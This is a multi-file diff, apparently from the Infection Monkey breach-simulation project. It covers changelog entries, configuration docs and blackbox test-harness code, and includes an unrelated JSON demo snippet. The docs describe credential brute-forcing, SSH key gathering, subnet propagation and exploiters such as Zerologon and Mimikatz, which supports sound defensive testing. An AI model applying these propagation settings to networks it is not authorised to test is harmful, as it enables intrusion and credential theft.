- Tunneling to relays to provide better firewall evasion, faster Island
|
||||||
connection times, unlimited hops, and a more resilient way for agents to call
|
connection times, unlimited hops, and a more resilient way for agents to call
|
||||||
home. #2216, #1583
|
home. #2216, #1583
|
||||||
|
- "/api/monkey-control/stop-all-agents" to "/api/agent-signals/terminate-all-agents". #2261
|
||||||
|
- "Local network scan" option to "Scan Agent's networks". #2299
|
||||||
|
|
||||||
### Removed
|
### Removed
|
||||||
- VSFTPD exploiter. #1533
|
- VSFTPD exploiter. #1533
|
||||||
|
@ -109,6 +114,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- "/api/configuration/export" endpoint. #2002
|
- "/api/configuration/export" endpoint. #2002
|
||||||
- "/api/island-configuration" endpoint. #2003
|
- "/api/island-configuration" endpoint. #2003
|
||||||
- "-t/--tunnel" from agent command line arguments. #2216
|
- "-t/--tunnel" from agent command line arguments. #2216
|
||||||
|
- "/api/monkey-control/neets-to-stop". #2261
|
||||||
|
- "GET /api/test/monkey" endpoint. #2269
|
||||||
|
- "GET /api/test/log" endpoint. #2269
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
import json
|
||||||
|
data = {
|
||||||
|
'name' : 'myname',
|
||||||
|
'age' : 100,
|
||||||
|
}
|
||||||
|
# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
|
||||||
|
# dumps 将python对象字典转换为json字符串
|
||||||
|
json_str = json.dumps(data, separators=(',', ':'))
|
||||||
|
print(type(json_str), json_str)
|
||||||
|
|
||||||
|
# loads 将json字符串转化为python对象字典
|
||||||
|
pyton_obj = json.loads(json_str)
|
||||||
|
print(type(pyton_obj), pyton_obj)
|
|
@ -8,5 +8,7 @@ description: "Configure settings related to the Monkey's network activity."
|
||||||
Here you can control multiple important settings, such as:
|
Here you can control multiple important settings, such as:
|
||||||
|
|
||||||
* Network propagation depth - How many hops from the base machine will the Infection Monkey spread?
|
* Network propagation depth - How many hops from the base machine will the Infection Monkey spread?
|
||||||
* Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet?
|
* Scan Agent's networks - Should the Infection Monkey attempt to attack any machine in its subnet?
|
||||||
|
|
||||||
|
_Be careful when using this option. If a machine is connected to a public network, then the agent will scan the public network!_
|
||||||
* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack?
|
* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack?
|
||||||
|
|
|
@ -16,9 +16,9 @@ where bad actors can reuse these credentials in your network.
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
|
- **Propagation -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
|
||||||
(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island.
|
(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island.
|
||||||
- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
|
- **Propagation -> Credentials -> SSH key pairs list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
|
||||||
For this to work, the Monkey Island or initial agent needs to access SSH key files.
|
For this to work, the Monkey Island or initial agent needs to access SSH key files.
|
||||||
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey
|
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey
|
||||||
(content of keys will not be displayed, it will appear as `<Object>`).
|
(content of keys will not be displayed, it will appear as `<Object>`).
|
||||||
|
|
|
@ -15,17 +15,14 @@ Infection Monkey will help you assess the impact of a future breach by attemptin
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all
|
- **Propagation -> Exploiters** Here you can review the exploits the Infection Monkey will be using. By default all
|
||||||
safe exploiters are selected.
|
safe exploiters are selected.
|
||||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
||||||
- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan**
|
- **Propagation -> Network analysis -> Network** Make sure to properly configure the scope of the scan. You can select **Scan Agent's networks**
|
||||||
and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing
|
and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing
|
||||||
specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific
|
specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific
|
||||||
targets will make the scanning process substantially faster.
|
targets will make the scanning process substantially faster.
|
||||||
- **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using.
|
- **(Optional) Propagation -> Network Analysis -> TCP scanner** Here you can add custom ports your organization is using.
|
||||||
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off
|
|
||||||
all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no
|
|
||||||
way helps the Infection Monkey exploit new machines.
|
|
||||||
|
|
||||||
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")
|
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")
|
||||||
|
|
||||||
|
|
|
@ -17,11 +17,10 @@ You can use the Infection Monkey's cross-segment traffic feature to verify that
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||||
subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it
|
subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it
|
||||||
in the security report.
|
in the security report.
|
||||||
- **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
|
- **(Optional) Propagation -> Network analysis -> Network** You can disable **Scan Agent's networks** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
|
||||||
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test.
|
|
||||||
|
|
||||||
## Suggested run mode
|
## Suggested run mode
|
||||||
|
|
||||||
|
|
|
@ -9,37 +9,26 @@ weight: 100
|
||||||
## Overview
|
## Overview
|
||||||
This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios.
|
This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios.
|
||||||
|
|
||||||
## Custom behavior
|
|
||||||
|
|
||||||
If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in
|
|
||||||
**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields.
|
|
||||||
You can also upload files and call them through the commands you entered.
|
|
||||||
|
|
||||||
## Accelerate the test
|
## Accelerate the test
|
||||||
|
|
||||||
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
|
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
|
||||||
|
|
||||||
The following configuration values also have an impact on scanning speed:
|
The following configuration values also have an impact on scanning speed:
|
||||||
- **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
|
- **Propagation -> Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
|
||||||
remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools.
|
remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools.
|
||||||
- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
|
- **Propagation -> Network analysis -> Network** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
|
||||||
networks bit by bit with multiple runs.
|
networks bit by bit with multiple runs.
|
||||||
- **Post-breach actions** - If you only care about propagation, you can disable most of these.
|
- **Propagation -> Network analysis -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
|
||||||
- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
|
|
||||||
|
|
||||||
## Combining different scenarios
|
## Combining different scenarios
|
||||||
|
|
||||||
The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results!
|
The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results!
|
||||||
|
|
||||||
## Persistent scanning
|
|
||||||
|
|
||||||
Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey.
|
|
||||||
|
|
||||||
## Credentials
|
## Credentials
|
||||||
|
|
||||||
Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded.
|
Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded.
|
||||||
|
|
||||||
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
|
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Propagation -> Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
|
||||||
|
|
||||||
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
|
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
|
||||||
|
|
||||||
|
|
|
@ -13,9 +13,9 @@ Want to assess your progress in achieving a Zero Trust network? The Infection Mo
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
||||||
- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.”
|
- **Propagation -> Network analysis -> Network** Disable “Scan Agent's networks” and instead provide specific network ranges in the “Scan target list.”
|
||||||
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||||
subnets that should be segregated from each other.
|
subnets that should be segregated from each other.
|
||||||
|
|
||||||
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use.
|
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use.
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
from typing import Iterable
|
from ipaddress import IPv4Address
|
||||||
|
from typing import Collection, Iterable
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
|
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
|
||||||
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
|
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
|
||||||
|
@ -13,15 +14,22 @@ class CommunicationAnalyzer(Analyzer):
|
||||||
|
|
||||||
def analyze_test_results(self):
|
def analyze_test_results(self):
|
||||||
self.log.clear()
|
self.log.clear()
|
||||||
all_monkeys_communicated = True
|
all_agents_communicated = True
|
||||||
for machine_ip in self.machine_ips:
|
agent_ips = self._get_agent_ips()
|
||||||
if not self.did_monkey_communicate_back(machine_ip):
|
|
||||||
self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
|
|
||||||
all_monkeys_communicated = False
|
|
||||||
else:
|
|
||||||
self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
|
|
||||||
return all_monkeys_communicated
|
|
||||||
|
|
||||||
def did_monkey_communicate_back(self, machine_ip: str):
|
for machine_ip in self.machine_ips:
|
||||||
query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}}
|
if self._agent_communicated_back(machine_ip, agent_ips):
|
||||||
return len(self.island_client.find_monkeys_in_db(query)) > 0
|
self.log.add_entry("Agent from {} communicated back".format(machine_ip))
|
||||||
|
else:
|
||||||
|
self.log.add_entry("Agent from {} didn't communicate back".format(machine_ip))
|
||||||
|
all_agents_communicated = False
|
||||||
|
|
||||||
|
return all_agents_communicated
|
||||||
|
|
||||||
|
def _get_agent_ips(self) -> Collection[IPv4Address]:
|
||||||
|
agents = self.island_client.get_agents()
|
||||||
|
machines = self.island_client.get_machines()
|
||||||
|
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
|
||||||
|
|
||||||
|
def _agent_communicated_back(self, machine_ip: str, agent_ips: Collection[IPv4Address]) -> bool:
|
||||||
|
return IPv4Address(machine_ip) in agent_ips
|
||||||
|
|
|
@ -18,12 +18,6 @@ def pytest_addoption(parser):
|
||||||
default=False,
|
default=False,
|
||||||
help="Use for no interaction with the cloud.",
|
help="Use for no interaction with the cloud.",
|
||||||
)
|
)
|
||||||
parser.addoption(
|
|
||||||
"--skip-powershell-reuse",
|
|
||||||
action="store_true",
|
|
||||||
default=False,
|
|
||||||
help="Use to run PowerShell credentials reuse test.",
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope="session")
|
@pytest.fixture(scope="session")
|
||||||
|
@ -48,13 +42,3 @@ def gcp_machines_to_start(request: pytest.FixtureRequest) -> Mapping[str, Collec
|
||||||
machines_to_start.setdefault(zone, set()).update(machines)
|
machines_to_start.setdefault(zone, set()).update(machines)
|
||||||
|
|
||||||
return machines_to_start
|
return machines_to_start
|
||||||
|
|
||||||
|
|
||||||
def pytest_runtest_setup(item):
|
|
||||||
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
|
|
||||||
"--skip-powershell-reuse"
|
|
||||||
):
|
|
||||||
pytest.skip(
|
|
||||||
"Skipping powershell credentials reuse test because "
|
|
||||||
"--skip-powershell-cached flag isn't specified."
|
|
||||||
)
|
|
||||||
|
|
|
@ -15,10 +15,14 @@ GCP_TEST_MACHINE_LIST = {
|
||||||
"zerologon-25",
|
"zerologon-25",
|
||||||
],
|
],
|
||||||
"europe-west1-b": [
|
"europe-west1-b": [
|
||||||
|
"powershell-3-44",
|
||||||
"powershell-3-45",
|
"powershell-3-45",
|
||||||
"powershell-3-46",
|
"powershell-3-46",
|
||||||
"powershell-3-47",
|
"powershell-3-47",
|
||||||
"powershell-3-48",
|
"powershell-3-48",
|
||||||
|
"credentials-reuse-14",
|
||||||
|
"credentials-reuse-15",
|
||||||
|
"credentials-reuse-16",
|
||||||
"log4j-logstash-55",
|
"log4j-logstash-55",
|
||||||
"log4j-logstash-56",
|
"log4j-logstash-56",
|
||||||
"log4j-solr-49",
|
"log4j-solr-49",
|
||||||
|
@ -32,7 +36,11 @@ DEPTH_2_A = {
|
||||||
"europe-west3-a": [
|
"europe-west3-a": [
|
||||||
"sshkeys-11",
|
"sshkeys-11",
|
||||||
"sshkeys-12",
|
"sshkeys-12",
|
||||||
]
|
],
|
||||||
|
"europe-west1-b": [
|
||||||
|
"powershell-3-46",
|
||||||
|
"powershell-3-44",
|
||||||
|
],
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -57,7 +65,6 @@ DEPTH_3_A = {
|
||||||
],
|
],
|
||||||
"europe-west1-b": [
|
"europe-west1-b": [
|
||||||
"powershell-3-45",
|
"powershell-3-45",
|
||||||
"powershell-3-46",
|
|
||||||
"powershell-3-47",
|
"powershell-3-47",
|
||||||
"powershell-3-48",
|
"powershell-3-48",
|
||||||
],
|
],
|
||||||
|
@ -72,19 +79,20 @@ DEPTH_4_A = {
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
POWERSHELL_EXPLOITER_REUSE = {
|
|
||||||
"europe-west1-b": [
|
|
||||||
"powershell-3-46",
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
ZEROLOGON = {
|
ZEROLOGON = {
|
||||||
"europe-west3-a": [
|
"europe-west3-a": [
|
||||||
"zerologon-25",
|
"zerologon-25",
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
||||||
|
CREDENTIALS_REUSE_SSH_KEY = {
|
||||||
|
"europe-west1-b": [
|
||||||
|
"credentials-reuse-14",
|
||||||
|
"credentials-reuse-15",
|
||||||
|
"credentials-reuse-16",
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
WMI_AND_MIMIKATZ = {
|
WMI_AND_MIMIKATZ = {
|
||||||
"europe-west3-a": [
|
"europe-west3-a": [
|
||||||
"mimikatz-14",
|
"mimikatz-14",
|
||||||
|
@ -99,8 +107,8 @@ GCP_SINGLE_TEST_LIST = {
|
||||||
"test_depth_1_a": DEPTH_1_A,
|
"test_depth_1_a": DEPTH_1_A,
|
||||||
"test_depth_3_a": DEPTH_3_A,
|
"test_depth_3_a": DEPTH_3_A,
|
||||||
"test_depth_4_a": DEPTH_4_A,
|
"test_depth_4_a": DEPTH_4_A,
|
||||||
"test_powershell_exploiter_credentials_reuse": POWERSHELL_EXPLOITER_REUSE,
|
|
||||||
"test_zerologon_exploiter": ZEROLOGON,
|
"test_zerologon_exploiter": ZEROLOGON,
|
||||||
|
"test_credentials_reuse_ssh_key": CREDENTIALS_REUSE_SSH_KEY,
|
||||||
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,
|
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,
|
||||||
"test_smb_pth": SMB_PTH,
|
"test_smb_pth": SMB_PTH,
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,18 +1,21 @@
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
from typing import List, Sequence, Union
|
from typing import List, Mapping, Sequence, Union
|
||||||
|
|
||||||
from bson import json_util
|
from bson import json_util
|
||||||
|
|
||||||
from common.credentials import Credentials
|
from common.credentials import Credentials
|
||||||
|
from common.types import AgentID, MachineID
|
||||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
|
||||||
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
|
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
|
||||||
|
from monkey_island.cc.models import Agent, Machine
|
||||||
|
|
||||||
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
|
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
|
||||||
MONKEY_TEST_ENDPOINT = "api/test/monkey"
|
GET_AGENTS_ENDPOINT = "api/agents"
|
||||||
|
GET_LOG_ENDPOINT = "api/agent-logs"
|
||||||
|
GET_MACHINES_ENDPOINT = "api/machines"
|
||||||
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
|
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
|
||||||
LOG_TEST_ENDPOINT = "api/test/log"
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@ -88,8 +91,9 @@ class MonkeyIslandClient(object):
|
||||||
|
|
||||||
@avoid_race_condition
|
@avoid_race_condition
|
||||||
def kill_all_monkeys(self):
|
def kill_all_monkeys(self):
|
||||||
|
# TODO change this request, because monkey-control resource got removed
|
||||||
response = self.requests.post_json(
|
response = self.requests.post_json(
|
||||||
"api/monkey-control/stop-all-agents", json={"kill_time": time.time()}
|
"api/agent-signals/terminate-all-agents", json={"terminate_time": time.time()}
|
||||||
)
|
)
|
||||||
if response.ok:
|
if response.ok:
|
||||||
LOGGER.info("Killing all monkeys after the test.")
|
LOGGER.info("Killing all monkeys after the test.")
|
||||||
|
@ -134,14 +138,6 @@ class MonkeyIslandClient(object):
|
||||||
LOGGER.error("Failed to reset island mode")
|
LOGGER.error("Failed to reset island mode")
|
||||||
assert False
|
assert False
|
||||||
|
|
||||||
def find_monkeys_in_db(self, query):
|
|
||||||
if query is None:
|
|
||||||
raise TypeError
|
|
||||||
response = self.requests.get(
|
|
||||||
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
|
|
||||||
)
|
|
||||||
return MonkeyIslandClient.get_test_query_results(response)
|
|
||||||
|
|
||||||
def find_telems_in_db(self, query: dict):
|
def find_telems_in_db(self, query: dict):
|
||||||
if query is None:
|
if query is None:
|
||||||
raise TypeError
|
raise TypeError
|
||||||
|
@ -150,17 +146,21 @@ class MonkeyIslandClient(object):
|
||||||
)
|
)
|
||||||
return MonkeyIslandClient.get_test_query_results(response)
|
return MonkeyIslandClient.get_test_query_results(response)
|
||||||
|
|
||||||
def get_all_monkeys_from_db(self):
|
def get_agents(self) -> Sequence[Agent]:
|
||||||
response = self.requests.get(
|
response = self.requests.get(GET_AGENTS_ENDPOINT)
|
||||||
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
|
|
||||||
)
|
|
||||||
return MonkeyIslandClient.get_test_query_results(response)
|
|
||||||
|
|
||||||
def find_log_in_db(self, query):
|
return [Agent(**a) for a in response.json()]
|
||||||
response = self.requests.get(
|
|
||||||
LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
|
def get_machines(self) -> Mapping[MachineID, Machine]:
|
||||||
)
|
response = self.requests.get(GET_MACHINES_ENDPOINT)
|
||||||
return MonkeyIslandClient.get_test_query_results(response)
|
machines = (Machine(**m) for m in response.json())
|
||||||
|
|
||||||
|
return {m.id: m for m in machines}
|
||||||
|
|
||||||
|
def get_agent_log(self, agent_id: AgentID) -> str:
|
||||||
|
response = self.requests.get(f"{GET_LOG_ENDPOINT}/{agent_id}")
|
||||||
|
|
||||||
|
return response.json()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def form_find_query_for_request(query: Union[dict, None]) -> dict:
|
def form_find_query_for_request(query: Union[dict, None]) -> dict:
|
||||||
|
@ -171,5 +171,5 @@ class MonkeyIslandClient(object):
|
||||||
return json.loads(response.content)["results"]
|
return json.loads(response.content)["results"]
|
||||||
|
|
||||||
def is_all_monkeys_dead(self):
|
def is_all_monkeys_dead(self):
|
||||||
query = {"dead": False}
|
agents = self.get_agents()
|
||||||
return len(self.find_monkeys_in_db(query)) == 0
|
return all((a.stop_time is not None for a in agents))
|
||||||
|
|
|
@ -1,38 +0,0 @@
|
||||||
import logging
|
|
||||||
import os
|
|
||||||
|
|
||||||
from bson import ObjectId
|
|
||||||
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class MonkeyLog(object):
|
|
||||||
def __init__(self, monkey, log_dir_path):
|
|
||||||
self.monkey = monkey
|
|
||||||
self.log_dir_path = log_dir_path
|
|
||||||
|
|
||||||
def download_log(self, island_client):
|
|
||||||
log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["_id"])})
|
|
||||||
if not log:
|
|
||||||
LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0]))
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
self.write_log_to_file(log)
|
|
||||||
return True
|
|
||||||
|
|
||||||
def write_log_to_file(self, log):
|
|
||||||
with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file:
|
|
||||||
log_file.write(MonkeyLog.parse_log(log))
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def parse_log(log):
|
|
||||||
log = log.strip('"')
|
|
||||||
log = log.replace("\\n", "\n ")
|
|
||||||
return log
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_filename_for_monkey_log(monkey):
|
|
||||||
return "{}.txt".format(monkey["ip_addresses"][0])
|
|
||||||
|
|
||||||
def get_log_path_for_monkey(self, monkey):
|
|
||||||
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))
|
|
|
@ -1,25 +1,65 @@
|
||||||
import logging
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
from threading import Thread
|
||||||
|
from typing import List, Mapping
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
|
from common.types import MachineID
|
||||||
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||||
|
from monkey_island.cc.models import Agent, Machine
|
||||||
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class MonkeyLogsDownloader(object):
|
class MonkeyLogsDownloader(object):
|
||||||
def __init__(self, island_client, log_dir_path):
|
def __init__(self, island_client: MonkeyIslandClient, log_dir_path: str):
|
||||||
self.island_client = island_client
|
self.island_client = island_client
|
||||||
self.log_dir_path = log_dir_path
|
self.log_dir_path = Path(log_dir_path)
|
||||||
self.monkey_log_paths = []
|
self.monkey_log_paths: List[Path] = []
|
||||||
|
|
||||||
def download_monkey_logs(self):
|
def download_monkey_logs(self):
|
||||||
LOGGER.info("Downloading each monkey log.")
|
try:
|
||||||
all_monkeys = self.island_client.get_all_monkeys_from_db()
|
LOGGER.info("Downloading each monkey log.")
|
||||||
for monkey in all_monkeys:
|
|
||||||
downloaded_log_path = self._download_monkey_log(monkey)
|
|
||||||
if downloaded_log_path:
|
|
||||||
self.monkey_log_paths.append(downloaded_log_path)
|
|
||||||
|
|
||||||
def _download_monkey_log(self, monkey):
|
agents = self.island_client.get_agents()
|
||||||
log_handler = MonkeyLog(monkey, self.log_dir_path)
|
machines = self.island_client.get_machines()
|
||||||
download_successful = log_handler.download_log(self.island_client)
|
|
||||||
return log_handler.get_log_path_for_monkey(monkey) if download_successful else None
|
download_threads: List[Thread] = []
|
||||||
|
|
||||||
|
# TODO: Does downloading logs concurrently still improve performance after resolving
|
||||||
|
# https://github.com/guardicore/monkey/issues/2383?
|
||||||
|
for agent in agents:
|
||||||
|
t = Thread(target=self._download_log, args=(agent, machines), daemon=True)
|
||||||
|
t.start()
|
||||||
|
download_threads.append(t)
|
||||||
|
|
||||||
|
for thread in download_threads:
|
||||||
|
thread.join()
|
||||||
|
|
||||||
|
except Exception as err:
|
||||||
|
LOGGER.exception(err)
|
||||||
|
|
||||||
|
def _download_log(self, agent: Agent, machines: Mapping[MachineID, Machine]):
|
||||||
|
log_file_path = self._get_log_file_path(agent, machines)
|
||||||
|
log_contents = self.island_client.get_agent_log(agent.id)
|
||||||
|
|
||||||
|
MonkeyLogsDownloader._write_log_to_file(log_file_path, log_contents)
|
||||||
|
|
||||||
|
self.monkey_log_paths.append(log_file_path)
|
||||||
|
|
||||||
|
def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine]) -> Path:
|
||||||
|
try:
|
||||||
|
machine_ip = machines[agent.machine_id].network_interfaces[0].ip
|
||||||
|
except IndexError:
|
||||||
|
LOGGER.error(f"Machine with ID {agent.machine_id} has no network interfaces")
|
||||||
|
machine_ip = "UNKNOWN"
|
||||||
|
|
||||||
|
start_time = agent.start_time.strftime("%Y-%m-%d_%H-%M-%S")
|
||||||
|
|
||||||
|
return self.log_dir_path / f"agent_{start_time}_{machine_ip}.log"
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _write_log_to_file(log_file_path: Path, log_contents: str):
|
||||||
|
LOGGER.debug(f"Writing {len(log_contents)} bytes to {log_file_path}")
|
||||||
|
|
||||||
|
with open(log_file_path, "w") as f:
|
||||||
|
f.write(log_contents)
|
||||||
|
|
|
@ -10,11 +10,11 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIs
|
||||||
from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips
|
from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips
|
||||||
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
|
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
|
||||||
from envs.monkey_zoo.blackbox.test_configurations import (
|
from envs.monkey_zoo.blackbox.test_configurations import (
|
||||||
|
credentials_reuse_ssh_key_test_configuration,
|
||||||
depth_1_a_test_configuration,
|
depth_1_a_test_configuration,
|
||||||
depth_2_a_test_configuration,
|
depth_2_a_test_configuration,
|
||||||
depth_3_a_test_configuration,
|
depth_3_a_test_configuration,
|
||||||
depth_4_a_test_configuration,
|
depth_4_a_test_configuration,
|
||||||
powershell_credentials_reuse_test_configuration,
|
|
||||||
smb_pth_test_configuration,
|
